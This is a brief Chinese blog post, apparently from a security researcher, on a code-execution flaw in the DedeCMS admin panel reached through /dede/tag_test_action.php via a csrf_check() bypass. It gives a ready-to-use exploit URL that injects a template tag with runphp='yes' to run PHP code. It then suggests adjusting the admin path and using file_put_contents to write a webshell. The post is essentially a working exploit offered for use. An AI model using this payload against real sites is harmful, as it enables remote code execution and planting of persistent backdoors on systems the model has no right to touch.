dedecms 后台代码执行 X1r0z included in category CMS 2018-03-30 2022-12-16 13 words One minute Contents EXP 该漏洞的触发点为 /dede/tag_test_action.php. 起因是 csrf_check() 的绕过, 导致可执行任意代码. EXP/dede/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field} 根据情况更改后台路径 file_put_contents 直接写 webshell